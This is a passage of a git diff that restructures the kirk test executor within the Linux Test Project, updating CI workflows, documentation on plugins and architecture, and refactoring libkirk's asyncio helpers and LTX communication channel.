`libkirk` folder. Please check the `host.py` or -`ssh.py` implementations for more details. - -Once a new SUT class is implemented and placed inside the `libkirk` folder, you -can use the following command to see if the application correctly recognizes it: - -.. code-block:: bash - - kirk -s help - diff --git a/ltp/tools/kirk/doc/requirements.txt b/ltp/tools/kirk/doc/requirements.txt deleted file mode 100644 index 21cdf1a8..00000000 --- a/ltp/tools/kirk/doc/requirements.txt +++ /dev/null @@ -1,5 +0,0 @@ -# Use the same sphinx as on readthedocs.org. When updated, make sure -# sphinx-rtd-theme is compatible with sphinx. -sphinx==7.2.6 -sphinx-rtd-theme==2.0.0 -myst-parser==4.0.1 diff --git a/ltp/tools/kirk/.coveragerc b/ltp/tools/kirk/kirk-src/.coveragerc similarity index 100% rename from ltp/tools/kirk/.coveragerc rename to ltp/tools/kirk/kirk-src/.coveragerc diff --git a/ltp/tools/kirk/.github/workflows/static.yml b/ltp/tools/kirk/kirk-src/.github/workflows/static.yml similarity index 100% rename from ltp/tools/kirk/.github/workflows/static.yml rename to ltp/tools/kirk/kirk-src/.github/workflows/static.yml diff --git a/ltp/tools/kirk/.github/workflows/test_ltx.yml b/ltp/tools/kirk/kirk-src/.github/workflows/test_ltx.yml similarity index 89% rename from ltp/tools/kirk/.github/workflows/test_ltx.yml rename to ltp/tools/kirk/kirk-src/.github/workflows/test_ltx.yml index 381ed21b..1f2430b4 100644 --- a/ltp/tools/kirk/.github/workflows/test_ltx.yml +++ b/ltp/tools/kirk/kirk-src/.github/workflows/test_ltx.yml @@ -3,9 +3,6 @@ name: "Test LTX" on: [push, pull_request] -env: - PYTHON_PKGS: pytest<8.3.5 pytest-asyncio<1.0 msgpack - jobs: python3: runs-on: ubuntu-22.04 @@ -20,7 +17,8 @@ jobs: "3.10", "3.11", "3.12", - "3.13" + "3.13", + "3.14" ] steps: @@ -36,7 +34,7 @@ jobs: python-version: ${{ matrix.python-version }} - name: Install dependencies - run: pip install $PYTHON_PKGS + run: pip install .[testing,ltx] - name: Checkout ltx uses: actions/checkout@v5 diff --git a/ltp/tools/kirk/.github/workflows/test_ssh.yml b/ltp/tools/kirk/kirk-src/.github/workflows/test_ssh.yml similarity index 91% rename from ltp/tools/kirk/.github/workflows/test_ssh.yml rename to ltp/tools/kirk/kirk-src/.github/workflows/test_ssh.yml index 54d7fc48..4c12cc32 100644 --- a/ltp/tools/kirk/.github/workflows/test_ssh.yml +++ b/ltp/tools/kirk/kirk-src/.github/workflows/test_ssh.yml @@ -1,10 +1,9 @@ # Copyright (c) 2025 Andrea Cervesato name: "Test SSH" -on: [push, pull_request] +on: push env: - PYTHON_PKGS: pytest<8.3.5 pytest-asyncio<1.0 build asyncssh TEST_SSH_KEY_FILE: /home/runner/.ssh/id_rsa TEST_SSH_USERNAME: runner TEST_SSH_PASSWORD: password @@ -24,7 +23,8 @@ jobs: "3.10", "3.11", "3.12", - "3.13" + "3.13", + "3.14" ] steps: @@ -40,7 +40,7 @@ jobs: python-version: ${{ matrix.python-version }} - name: Install dependencies - run: python3 -m pip install $PYTHON_PKGS + run: python3 -m pip install .[testing,ssh] build - name: Setup user password run: echo "$TEST_SSH_USERNAME:$TEST_SSH_PASSWORD" | sudo chpasswd diff --git a/ltp/tools/kirk/.github/workflows/tests.yml b/ltp/tools/kirk/kirk-src/.github/workflows/tests.yml similarity index 88% rename from ltp/tools/kirk/.github/workflows/tests.yml rename to ltp/tools/kirk/kirk-src/.github/workflows/tests.yml index faa6ac9d..6cec28f5 100644 --- a/ltp/tools/kirk/.github/workflows/tests.yml +++ b/ltp/tools/kirk/kirk-src/.github/workflows/tests.yml @@ -3,9 +3,6 @@ name: "Test packages" on: [push, pull_request] -env: - PYTHON_PKGS: pytest<8.3.5 pytest-asyncio<1.0 build - jobs: python3-deprecated: runs-on: ubuntu-22.04 @@ -24,7 +21,7 @@ jobs: run: zypper install -y python3-pip make - name: Install dependencies - run: pip install $PYTHON_PKGS + run: pip install pytest pytest-asyncio build - name: Build package run: python3 -m build @@ -45,7 +42,8 @@ jobs: "3.10", "3.11", "3.12", - "3.13" + "3.13", + "3.14" ] steps: @@ -61,7 +59,7 @@ jobs: python-version: ${{ matrix.python-version }} - name: Install dependencies - run: python3 -m pip install $PYTHON_PKGS + run: python3 -m pip install .[testing] build - name: Build package run: python3 -m build diff --git a/ltp/tools/kirk/.gitignore b/ltp/tools/kirk/kirk-src/.gitignore similarity index 100% rename from ltp/tools/kirk/.gitignore rename to ltp/tools/kirk/kirk-src/.gitignore diff --git a/ltp/tools/kirk/.readthedocs.yml b/ltp/tools/kirk/kirk-src/.readthedocs.yml similarity index 68% rename from ltp/tools/kirk/.readthedocs.yml rename to ltp/tools/kirk/kirk-src/.readthedocs.yml index f453a1f4..b1c1fb71 100644 --- a/ltp/tools/kirk/.readthedocs.yml +++ b/ltp/tools/kirk/kirk-src/.readthedocs.yml @@ -4,6 +4,8 @@ build: os: "ubuntu-24.04" tools: python: "3.12" + apt_packages: + - graphviz # Build from the doc/ directory with Sphinx sphinx: @@ -12,4 +14,7 @@ sphinx: # Explicitly set the version of Python and its requirements python: install: - - requirements: doc/requirements.txt + - method: pip + path: . + extra_requirements: + - docs diff --git a/ltp/tools/kirk/LICENSE b/ltp/tools/kirk/kirk-src/LICENSE similarity index 100% rename from ltp/tools/kirk/LICENSE rename to ltp/tools/kirk/kirk-src/LICENSE diff --git a/ltp/tools/kirk/kirk-src/README.rst b/ltp/tools/kirk/kirk-src/README.rst new file mode 100644 index 00000000..e157d8bc --- /dev/null +++ b/ltp/tools/kirk/kirk-src/README.rst @@ -0,0 +1,79 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +What is Kirk? +============= + +Kirk application is a fork of `runltp-ng `_ +and it's the official `LTP `_ tests +executor. It provides support for remote testing via Qemu, SSH, LTX, parallel +execution and much more. + +.. WARNING:: + + The `master` branch might be affected by breaking changes. Make sure to use + one of the `latest `_ + available versions. + +.. code-block:: bash + + Host information + Hostname: susy + Python: 3.8.20 (default, Oct 2 2024, 16:34:12) [Clang 18.1.8 ] + Directory: /tmp/kirk.acer/tmp1bm7xllh + + Connecting to SUT: default + + Suite: math + ─────────── + abs01: pass (0.001s) + atof01: pass (0.001s) + float_bessel: pass (0.359s) + float_exp_log: pass (0.315s) + float_iperb: pass (0.116s) + float_power: pass (0.262s) + float_trigo: pass (0.287s) + fptest01: pass (0.002s) + fptest02: pass (0.002s) + nextafter01: pass (0.001s) + + Execution time: 1.515s + + Disconnecting from SUT: default + + Target information + ────────────────── + Kernel: Linux 6.12.0-160000.9-default #1 SMP PREEMPT_DYNAMIC Fri Jan 16 09:29:05 UTC 2026 (9badd3c) + Cmdline: BOOT_IMAGE=/boot/vmlinuz-6.12.0-160000.9-default + root=UUID=7df22dee-1273-4a53-8f83-95ba6c000e39 + resume=UUID=2c0196fa-686c-455d-98d5-641c5ecbf57f + mitigations=auto + quiet + security=selinux + selinux=1 + Machine: x86_64 + Arch: x86_64 + RAM: 61346668 kB + Swap: 2081088 kB + Distro: opensuse-leap 16.0 + + ──────────────────────── + TEST SUMMARY + ──────────────────────── + Suite: math + Runtime: 1.345s + Runs: 10 + + Results: + Passed: 22 + Failed: 0 + Broken: 0 + Skipped: 0 + Warnings: 0 + + Session stopped + +Some references: + +* `Documentation `_ +* `Source code `_ +* `Releases `_ diff --git a/ltp/tools/kirk/doc/.gitignore b/ltp/tools/kirk/kirk-src/doc/.gitignore similarity index 100% rename from ltp/tools/kirk/doc/.gitignore rename to ltp/tools/kirk/kirk-src/doc/.gitignore diff --git a/ltp/tools/kirk/doc/conf.py b/ltp/tools/kirk/kirk-src/doc/conf.py similarity index 96% rename from ltp/tools/kirk/doc/conf.py rename to ltp/tools/kirk/kirk-src/doc/conf.py index e18f451a..395fab68 100644 --- a/ltp/tools/kirk/doc/conf.py +++ b/ltp/tools/kirk/kirk-src/doc/conf.py @@ -21,6 +21,8 @@ extensions = [ "sphinx.ext.autodoc", "sphinx.ext.autosummary", "sphinx.ext.viewcode", + "sphinx.ext.graphviz", + "sphinx.ext.inheritance_diagram", "myst_parser", ] diff --git a/ltp/tools/kirk/kirk-src/doc/developers/plugins.rst b/ltp/tools/kirk/kirk-src/doc/developers/plugins.rst new file mode 100644 index 00000000..2b94bb4d --- /dev/null +++ b/ltp/tools/kirk/kirk-src/doc/developers/plugins.rst @@ -0,0 +1,173 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +Plugin System +============= + +Sometimes, we need to cover complex testing scenarios where our System Under +Test utilizes specific protocols and infrastructures to communicate with our +host machine and execute LTP tests. + +For this reason, Kirk provides a plugin system to recognize custom ``SUT`` +and ``ComChannel`` class implementations inside any external folder. These +classes are used to implement complex scenarios, and in the next sections, we +will see how to communicate with the plugin system. + +To verify supported ``SUT``, please run: + +.. code-block:: bash + + kirk --sut help + +.. note:: + + If you want to implement a new ``ComChannel`` communication handler, please + refer to the natively supported implementations such as ``shell.py``. + +Custom System Under Test +------------------------ + +All the channels implementations provided by kirk can be used or duplicated to +use them inside our ``SUT``. The way we create these instances is as follows: + +.. code-block:: bash + + kirk --plugins my/plugins/folder \ + --com ssh:host=192.168.0.1:id=ssh_host0 \ + --sut mysut \ + --run-suite syscalls + +We just created a SSH channel ``ssh_host0`` that can be used by ``mysut`` +implementation in order to setup testing. + +Our ``SUT`` can now use the ``libkirk.com.get_channels()`` utility to read +available channels and get the one we need, as follows: + +.. code-block:: python + + def setup(self, **kwargs: Dict[str, Any]) -> None: + self._ssh = next( + (c for in libkirk.com.get_channels() if c.name == "ssh_host0"), + None, + ) + +But remember that **only one** channel must be given back to kirk in order to +communicate with the System Under Test via ``get_channel()`` API. + +.. code-block:: python + + def get_channel() -> ComChannel: + return self._ssh + +Practical example +----------------- + +We might want to test LTP inside an embedded system on our desk via SSH. +We have two scripts to run before communicating with the SUT: + +- ``install_firmware.sh`` to install a new firmware +- ``reboot_board.sh`` to reboot board if it's not responding anymore + +The idea is that we install a new firmware before running tests, run tests and +if system breaks/panic/timeout, we reboot it, continuing testing suite from +where we left. + +We can easily achieve this scenario with the following implementation: + +.. code-block:: python + + import os + from typing import Dict, Optional + + import libkirk.com + from libkirk.com import ComChannel, IOBuffer + from libkirk.errors import SUTError + from libkirk.sut import SUT + + + class EmbeddedSUT(SUT): + # This is needed by kirk to know what is the name of the SUT + # we are implementing + _name = "embedded" + + def __init__(self) -> None: + self._ssh = None + self._shell = None + + currdir = os.path.dirname(os.path.realpath(__file__)) + self._install_sh = os.path.join(currdir, "install_firmware.sh") + self._reboot_sh = os.path.join(currdir, "reboot_board.sh") + + def setup(self, **kwargs: Dict[str, str]) -> None: + # Here we fetch all data we need. At this point we know that kirk + # already initialized all communication channels + chan_name = kwargs.get("com", "ssh") + + self._ssh = next( + (c for c in libkirk.com.get_channels() if c.name == chan_name), None + ) + self._shell = next( + (c for c in libkirk.com.get_channels() if c.name == "shell"), None + ) + + if not self._ssh: + raise SUTError(f"Can't find channel '{chan_name}'") + + @property + def config_help(self) -> Dict[str, str]: + # Parameters to setup our SUT + return { + "com": "Communication channel (default: ssh)", + } + + def get_channel(self) -> ComChannel: + # Here we return our main communication channel + return self._ssh + + async def start(self, iobuffer: Optional[IOBuffer] = None) -> None: + # Initialize the SUT by running commands, scripts and everything + # that can be done via our communication channels + if await self.is_running(): + return + + await self._shell.ensure_communicate(iobuffer=iobuffer) + + ret = await self._shell.run_command(self._install_sh, iobuffer=iobuffer) + if ret["returncode"] != 0: + raise SUTError(f"{self._install_sh} failed") + + await self._ssh.ensure_communicate(iobuffer=iobuffer) + + async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: + # Stop any operation in our SUT. This can be requires in any moment + # during tests run + if not await self.is_running(): + return + + await self._ssh.stop(iobuffer=iobuffer) + + async def restart(self, iobuffer: Optional[IOBuffer] = None) -> None: + # Stop any operation in our SUT and restart the system + await self.stop(iobuffer=iobuffer) + + ret = await self._shell.run_command(self._reboot_sh, iobuffer=iobuffer) + if ret["returncode"] != 0: + raise SUTError(f"{self._reboot_sh} failed") + + await self._shell.stop(iobuffer=iobuffer) + await self.start(iobuffer=iobuffer) + + async def is_running(self) -> bool: + # Tell kirk when SUT is operating or not + return await self._ssh.active() + + +Let's suppose we have a ``$HOME/plugins`` folder where we placed our +``EmbeddedSUT`` implementation and its scripts. Then we can run ``syscalls`` +testing suite with kirk as following: + +.. code-block:: python + + kirk --plugins $HOME/plugins \ + --sut embedded \ + --com ssh:host=192.168.0.1:user=root:key_file=/home/user/.ssh/id_rsa \ + --run-suite syscalls diff --git a/ltp/tools/kirk/doc/index.rst b/ltp/tools/kirk/kirk-src/doc/index.rst similarity index 84% rename from ltp/tools/kirk/doc/index.rst rename to ltp/tools/kirk/kirk-src/doc/index.rst index f5d31888..7d540e80 100644 --- a/ltp/tools/kirk/doc/index.rst +++ b/ltp/tools/kirk/kirk-src/doc/index.rst @@ -15,8 +15,7 @@ :hidden: :caption: For developers - developers/sut - developers/framework + developers/plugins .. toctree:: :maxdepth: 2 @@ -24,6 +23,7 @@ :caption: For maintainers maintainers/release + maintainers/architecture kirk/modules For users @@ -42,12 +42,9 @@ For developers .. descriptions here are active -:doc:`developers/sut` +:doc:`developers/plugins` How to develop a new SUT -:doc:`developers/framework` - How to develop a new Framework - For maintainers --------------- @@ -56,5 +53,8 @@ For maintainers :doc:`maintainers/release` How to create a kirk release +:doc:`maintainers/architecture` + Internal kirk architecture + :doc:`kirk/modules` Internal kirk API diff --git a/ltp/tools/kirk/kirk-src/doc/maintainers/architecture.rst b/ltp/tools/kirk/kirk-src/doc/maintainers/architecture.rst new file mode 100644 index 00000000..83943c7b --- /dev/null +++ b/ltp/tools/kirk/kirk-src/doc/maintainers/architecture.rst @@ -0,0 +1,101 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +Internal architecture +===================== + +.. warning:: + + The internal architecture might change over time. + +Overview +-------- + +.. graphviz:: + + digraph { + newrank=true; + + subgraph cluster_0 { + label = "Scheduler"; + labeljust = "l"; + + SuiteScheduler; + TestScheduler; + + SuiteScheduler -> TestScheduler; + } + + subgraph cluster_1 { + label = "Communication"; + labeljust = "l"; + + ComChannel; + ShellComChannel; + LTXComChannel; + QemuComChannel; + SSHComChannel; + + ComChannel -> ShellComChannel; + ComChannel -> LTXComChannel; + ComChannel -> QemuComChannel; + ComChannel -> SSHComChannel; + } + + subgraph cluster_2 { + label = "Framework"; + labeljust = "r"; + + LTPFramework; + } + + subgraph cluster_3 { + label = "SUT"; + labeljust = "l"; + + GenericSUT; + } + + { + rank=same; + SuiteScheduler; + LTPFramework; + } + + Session -> SuiteScheduler; + TestScheduler -> GenericSUT; + GenericSUT -> ComChannel; + + Session -> LTPFramework; + TestScheduler -> LTPFramework; + } + +| +| + +Plugins system +-------------- + +.. inheritance-diagram:: + libkirk.com.ComChannel + libkirk.plugin.Plugin + libkirk.sut.SUT + libkirk.sut_base.GenericSUT + libkirk.channels.shell.ShellComChannel + libkirk.channels.ltx_chan.LTXComChannel + libkirk.channels.qemu.QemuComChannel + libkirk.channels.ssh.SSHComChannel + :include-subclasses: + :parts: 1 + +| +| + +Exceptions +---------- + +.. inheritance-diagram:: + libkirk.errors + :parts: 1 + +| +| diff --git a/ltp/tools/kirk/doc/maintainers/release.rst b/ltp/tools/kirk/kirk-src/doc/maintainers/release.rst similarity index 62% rename from ltp/tools/kirk/doc/maintainers/release.rst rename to ltp/tools/kirk/kirk-src/doc/maintainers/release.rst index 11309a76..eafafbf9 100644 --- a/ltp/tools/kirk/doc/maintainers/release.rst +++ b/ltp/tools/kirk/kirk-src/doc/maintainers/release.rst @@ -1,7 +1,17 @@ .. SPDX-License-Identifier: GPL-2.0-or-later +Releases +======== + +Releases follow the semantic versioning ``Major.Minor.Patch``. + +.. note:: + + Releases are scheduled when there are "enough" features or important bugfixes + which can impact kirk usability. + Setting up a new release -======================== +------------------------ These are the steps which need to be completed before a new release: @@ -10,3 +20,4 @@ These are the steps which need to be completed before a new release: * manually test Qemu support via ``libkirk/tests/test_qemu.py`` * create a package via ``python -m build`` command * push package in pypi via ``twine upload dist/kirk-.tar.gz`` command +* upgrade kirk version inside the LTP project diff --git a/ltp/tools/kirk/doc/users/qemu.rst b/ltp/tools/kirk/kirk-src/doc/users/qemu.rst similarity index 95% rename from ltp/tools/kirk/doc/users/qemu.rst rename to ltp/tools/kirk/kirk-src/doc/users/qemu.rst index 80662e0c..3f6a3bd2 100644 --- a/ltp/tools/kirk/doc/users/qemu.rst +++ b/ltp/tools/kirk/kirk-src/doc/users/qemu.rst @@ -15,4 +15,4 @@ To enable console on a tty device for a VM, follow these steps: .. warning:: - If you set the ``serial=virtio`` backend option, then use ``hvc0`` instead. + If you set the ``serial=virtio`` backend option, then use ``console=hvc0`` instead. diff --git a/ltp/tools/kirk/doc/users/quickstart.rst b/ltp/tools/kirk/kirk-src/doc/users/quickstart.rst similarity index 42% rename from ltp/tools/kirk/doc/users/quickstart.rst rename to ltp/tools/kirk/kirk-src/doc/users/quickstart.rst index 3483376d..a52f3fe4 100644 --- a/ltp/tools/kirk/doc/users/quickstart.rst +++ b/ltp/tools/kirk/kirk-src/doc/users/quickstart.rst @@ -3,68 +3,66 @@ Start using kirk ================ -The tool works out of the box by running `kirk` script. +The tool works out of the box by running ``kirk`` script. Minimum python requirement is 3.6+ and *optional* dependences are the following: - `asyncssh `_ for SSH support - `msgpack `_ for LTX support -`kirk` will detect if dependences are installed and activate the corresponding -support. If no dependences are provided by the OS's package manager, -`virtualenv` can be used to install them: +kirk will detect if dependences are installed and activate the corresponding +support. + +To use kirk via git repository: .. code-block:: bash - # download source code git clone git@github.com:acerv/kirk.git - cd kirk - - # create your virtual environment (python-3.6+) - virtualenv .venv + export PATH=$PATH:$PWD/kirk - # activate virtualenv - source .venv/bin/activate + kirk --help - # SSH support - pip install asyncssh +kirk is also present in `pypi `_ and it can be +installed via ``pip`` command: - # LTX support - pip install msgpack +.. code-block:: bash - # run kirk - ./kirk --help + pip install --user kirk Some basic commands are the following: .. code-block:: bash # run LTP syscalls testing suite on host - ./kirk --run-suite syscalls + kirk --run-suite syscalls # run LTP syscalls testing suite on qemu VM - ./kirk --sut qemu:image=folder/image.qcow2:user=root:password=root \ - --run-suite syscalls + kirk --com qemu:image=folder/image.qcow2:user=root:password=root \ + --sut default:com=qemu \ + --run-suite syscalls # run LTP syscalls testing suite via SSH - ./kirk --sut ssh:host=myhost.com:user=root:key_file=myhost_id_rsa \ - --run-suite syscalls + kirk --com ssh:host=myhost.com:user=root:key_file=myhost_id_rsa \ + --sut default:com=ssh \ + --run-suite syscalls # run LTP syscalls testing suite in parallel on host using 16 workers - ./kirk --run-suite syscalls --workers 16 + kirk --run-suite syscalls --workers 16 # run LTP syscalls testing suite in parallel via SSH using 16 workers - ./kirk --sut ssh:host=myhost.com:user=root:key_file=myhost_id_rsa \ - --run-suite syscalls --workers 16 + kirk --com ssh:host=myhost.com:user=root:key_file=myhost_id_rsa \ + --sut default:com=ssh \ + --run-suite syscalls --workers 16 # pass environment variables (list of key=value separated by ':') - ./kirk --run-suite net.features \ - --env 'VIRT_PERF_THRESHOLD=180:LTP_NET_FEATURES_IGNORE_PERFORMANCE_FAILURE=1' + kirk --run-suite net.features \ + --env 'VIRT_PERF_THRESHOLD=180:LTP_NET_FEATURES_IGNORE_PERFORMANCE_FAILURE=1' It's possible to run a single command before running testing suites using -`--run-command` option as following: +``--run-command`` option as following: .. code-block:: bash - ./kirk --run-command /mnt/setup.sh \ - --sut qemu:image=folder/image.qcow + kirk --run-command ./setup_sut.sh \ + --com qemu:image=folder/image.qcow \ + --sut default:com=qemu diff --git a/ltp/tools/kirk/kirk b/ltp/tools/kirk/kirk-src/kirk similarity index 100% rename from ltp/tools/kirk/kirk rename to ltp/tools/kirk/kirk-src/kirk diff --git a/ltp/tools/kirk/libkirk/__init__.py b/ltp/tools/kirk/kirk-src/libkirk/__init__.py similarity index 69% rename from ltp/tools/kirk/libkirk/__init__.py rename to ltp/tools/kirk/kirk-src/libkirk/__init__.py index e64522b3..a5e2fcef 100644 --- a/ltp/tools/kirk/libkirk/__init__.py +++ b/ltp/tools/kirk/kirk-src/libkirk/__init__.py @@ -14,7 +14,7 @@ from typing import Callable from libkirk.evt import EventsHandler # Kirk version -__version__ = "2.2.2" +__version__ = "4.1.0" events = EventsHandler() @@ -24,48 +24,35 @@ def get_event_loop() -> asyncio.AbstractEventLoop: """ Return the current asyncio event loop. """ - loop = None - try: - loop = asyncio.get_running_loop() + return asyncio.get_running_loop() except (AttributeError, RuntimeError): pass - if not loop: - try: - loop = asyncio.get_event_loop() - except RuntimeError: - pass - - if not loop: + try: + return asyncio.get_event_loop() + except RuntimeError: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) - - return loop + return loop def create_task(coro: typing.Coroutine) -> asyncio.Task: """ Create a new task. """ - loop = get_event_loop() - task = loop.create_task(coro) - - return task + return get_event_loop().create_task(coro) def all_tasks(loop: asyncio.AbstractEventLoop) -> set: """ Return the list of all running tasks for the specific loop. """ - tasks = None - + # Maintain Python 3.6 compatibility if sys.version_info >= (3, 7): - tasks = asyncio.all_tasks(loop=loop) + return asyncio.all_tasks(loop=loop) else: - tasks = asyncio.Task.all_tasks(loop=loop) - - return tasks + return asyncio.Task.all_tasks(loop=loop) def cancel_tasks(loop: asyncio.AbstractEventLoop) -> None: @@ -76,24 +63,24 @@ def cancel_tasks(loop: asyncio.AbstractEventLoop) -> None: if not tasks: return + tasks_to_cancel = [] for task in tasks: - if task.cancelled() or task.done(): - continue - - task.cancel() + if not (task.cancelled() or task.done()): + task.cancel() + tasks_to_cancel.append(task) + # Maintain Python 3.6 compatibility if sys.version_info >= (3, 10): + # pyrefly: ignore[bad-argument-type] loop.run_until_complete(asyncio.gather(*tasks, return_exceptions=True)) else: loop.run_until_complete( + # pyrefly: ignore[bad-argument-type] asyncio.gather(*tasks, loop=loop, return_exceptions=True) ) - for task in tasks: - if task.cancelled(): - continue - - if task.exception() is not None: + for task in tasks_to_cancel: + if not task.cancelled() and task.exception() is not None: loop.call_exception_handler( { "message": "unhandled exception during asyncio.run() shutdown", @@ -107,8 +94,7 @@ def to_thread(callback: Callable, *args: typing.Any) -> typing.Any: """ Run callback inside a thread. This is useful for blocking I/O operations. """ - loop = get_event_loop() - return loop.run_in_executor(None, callback, *args) + return get_event_loop().run_in_executor(None, callback, *args) __all__ = [ diff --git a/ltp/tools/kirk/libkirk/ltx.py b/ltp/tools/kirk/kirk-src/libkirk/channels/ltx.py similarity index 90% rename from ltp/tools/kirk/libkirk/ltx.py rename to ltp/tools/kirk/kirk-src/libkirk/channels/ltx.py index 62ae9847..18bbbd98 100644 --- a/ltp/tools/kirk/libkirk/ltx.py +++ b/ltp/tools/kirk/kirk-src/libkirk/channels/ltx.py @@ -8,7 +8,15 @@ import asyncio import logging -from typing import Any, Callable, Dict, List, Optional +from types import TracebackType +from typing import ( + Any, + Callable, + Dict, + List, + Optional, + Type, +) import libkirk from libkirk.errors import LTXError @@ -22,7 +30,7 @@ except ModuleNotFoundError: class Request: """ - LTX request. + LTX client request. """ ERROR = 0xFF @@ -50,14 +58,16 @@ class Request: @property def completed(self) -> bool: """ - If True the request has been completed. + :return: True if request has been completed. False otherwise. + :rtype: bool """ return self._completed def add_done_coro(self, coro: Callable) -> None: """ Add done event to request. - :param coro: called when request is done + + :param coro: Called when request is completed. :type coro: Callable """ self._done_coro.append(coro) @@ -77,6 +87,9 @@ class Request: async def pack(self) -> bytes: """ Pack LTX request into bytes. + + :return: Request bytes. + :rtype: bytes """ raise NotImplementedError() @@ -84,7 +97,8 @@ class Request: """ Feed request queue with data and return when the request has been completed. - :param message: processed msgpack message + + :param message: Processed msgpack message. :type message: list """ raise NotImplementedError() @@ -157,12 +171,12 @@ class Requests: def __init__(self, slot_id: int, key: str, value: str) -> None: """ - :param slot_id: command table ID. Can be None if we want to apply - the same environment variable to all executions + :param slot_id: Command table ID. Can be None if we want to apply + the same environment variable to all executions. :type slot_id: int - :param key: key of the environment variable + :param key: Key of the environment variable. :type key: str - :param value: value of the environment variable + :param value: Value of the environment variable. :type value: str """ super().__init__() @@ -206,10 +220,10 @@ class Requests: def __init__(self, slot_id: int, path: str) -> None: """ - :param slot_id: command table ID. Can be None if we want to apply + :param slot_id: Command table ID. Can be None if we want to apply the same current working directory to all executions :type slot_id: int - :param path: current working path + :param path: Current working path. :type path: str """ super().__init__() @@ -255,7 +269,7 @@ class Requests: def __init__(self, path: str) -> None: """ - :param path: path of the file to read + :param path: Path of the file to read. :type path: str """ super().__init__() @@ -470,22 +484,24 @@ class LTX: """ This class communicates with LTX by processing given requests. Typical usage is the following: - ``` - async with LTX(infile, outfile) as ltx: - # create requests - request1 = Requests.execute("echo 'hello world' > myfile") - request2 = Requests.get_file("myfile") - - # set the complete event - request1.add_done_coro(exec_complete_handler) - request2.add_done_coro(get_file_complete_handler) - - # send request - ltx.send([request1, request2]) - - # process events output - ... - ``` + + .. code-block:: python + + async with LTX(infile, outfile) as ltx: + # create requests + request1 = Requests.execute("echo 'hello world' > myfile") + request2 = Requests.get_file("myfile") + + # set the complete event + request1.add_done_coro(exec_complete_handler) + request2.add_done_coro(get_file_complete_handler) + + # send request + ltx.send([request1, request2]) + + # process events output + ... + """ BUFFSIZE = 1 << 21 @@ -508,11 +524,17 @@ class LTX: await self.connect() return self - async def __aexit__(self, exc_type, exc_val, exc_tb) -> None: + async def __aexit__( + self, + exc_type: Optional[Type[BaseException]], + exc_value: Optional[BaseException], + traceback: Optional[TracebackType], + ) -> bool: """ Disconnect from LTX service. """ await self.disconnect() + return True @property def connected(self) -> bool: @@ -568,7 +590,8 @@ class LTX: """ Send requests to LTX service. The order is preserved during requests execution. - :param requests: list of requests to send + + :param requests: List of requests to send. :type requests: list """ if not requests: @@ -592,11 +615,17 @@ class LTX: Gather multiple requests and wait for the response, then return all rquests' replies inside a dictionary that maps requests with their reply. + + :param requests: List of requests to process. + :type requests: list(Request) + :return: Dictionary containing Request as keys and data from completed + requests as values. + :rtype: dict """ req_len = len(requests) replies = {} - async def on_complete(req, *args): + async def on_complete(req: Request, *args: List) -> None: replies[req] = args for req in requests: @@ -662,6 +691,7 @@ class LTX: except msgpack.OutOfData: break except LTXError as err: + loop.remove_reader(afile.fileno()) self._exception = err finally: self._logger.info("Producer has stopped") diff --git a/ltp/tools/kirk/libkirk/ltx_sut.py b/ltp/tools/kirk/kirk-src/libkirk/channels/ltx_chan.py similarity index 75% rename from ltp/tools/kirk/libkirk/ltx_sut.py rename to ltp/tools/kirk/kirk-src/libkirk/channels/ltx_chan.py index 5c922989..0e98ef6a 100644 --- a/ltp/tools/kirk/libkirk/ltx_sut.py +++ b/ltp/tools/kirk/kirk-src/libkirk/channels/ltx_chan.py @@ -1,7 +1,7 @@ """ -.. module:: ltx +.. module:: ltx_chan :platform: Linux - :synopsis: module containing LTX communication class + :synopsis: module containing LTX communication channel .. moduleauthor:: Andrea Cervesato """ @@ -11,19 +11,36 @@ import importlib.util import logging import os import time -from typing import Any, Dict, List, Optional +from typing import ( + Any, + Dict, + List, + Optional, +) import libkirk.types -from libkirk.errors import LTXError, SUTError -from libkirk.ltx import LTX, Request, Requests -from libkirk.sut import SUT, IOBuffer - - -class LTXSUT(SUT): +from libkirk.channels.ltx import ( + LTX, + Request, + Requests, +) +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import ( + CommunicationError, + LTXError, +) + + +class LTXComChannel(ComChannel): """ - A SUT using LTX as executor. + Communication channel using LTX as executor. """ + _name = "ltx" + def __init__(self) -> None: self._logger = logging.getLogger("kirk.ltx") self._release_lock = asyncio.Lock() @@ -33,10 +50,6 @@ class LTXSUT(SUT): self._infile = "" self._slots = [] - @property - def name(self) -> str: - return "ltx" - @property def config_help(self) -> Dict[str, str]: return { @@ -46,32 +59,31 @@ class LTXSUT(SUT): def setup(self, **kwargs: Dict[str, Any]) -> None: if not importlib.util.find_spec("msgpack"): - raise SUTError("'msgpack' library is not available") + raise CommunicationError("'msgpack' library is not available") - self._logger.info("Initialize SUT") + self._logger.info("Initialize LTX channel") self._infile = libkirk.types.dict_item(kwargs, "infile", str) self._outfile = libkirk.types.dict_item(kwargs, "outfile", str) if not self._infile or not os.path.exists(self._infile): - raise SUTError(f"'{self._infile}' input file doesn't exist") + raise CommunicationError(f"'{self._infile}' input file doesn't exist") if not self._outfile or not os.path.exists(self._outfile): - raise SUTError(f"'{self._outfile}' output file doesn't exist") + raise CommunicationError(f"'{self._outfile}' output file doesn't exist") @property def parallel_execution(self) -> bool: return True - @property - async def is_running(self) -> bool: + async def active(self) -> bool: if not self._ltx: return False return self._ltx.connected async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: - if not await self.is_running: + if not await self.active(): return if self._slots: @@ -89,9 +101,9 @@ class LTXSUT(SUT): # pyrefly: ignore[missing-attribute] await self._ltx.disconnect() except LTXError as err: - raise SUTError(err) from err + raise CommunicationError(err) from err - while await self.is_running: + while await self.active(): await asyncio.sleep(1e-2) async def _send_requests(self, requests: List[Request]) -> Dict[Request, Any]: @@ -103,7 +115,7 @@ class LTXSUT(SUT): # pyrefly: ignore[missing-attribute] reply = await self._ltx.gather(requests) except LTXError as err: - raise SUTError(err) from err + raise CommunicationError(err) from err return reply @@ -119,7 +131,7 @@ class LTXSUT(SUT): break if slot_id == -1: - raise SUTError("No execution slots available") + raise CommunicationError("No execution slots available") self._slots.append(slot_id) @@ -129,12 +141,13 @@ class LTXSUT(SUT): """ Release an execution slot. """ - if slot_id in self._slots: - self._slots.remove(slot_id) + async with self._release_lock: + if slot_id in self._slots: + self._slots.remove(slot_id) async def ping(self) -> float: - if not await 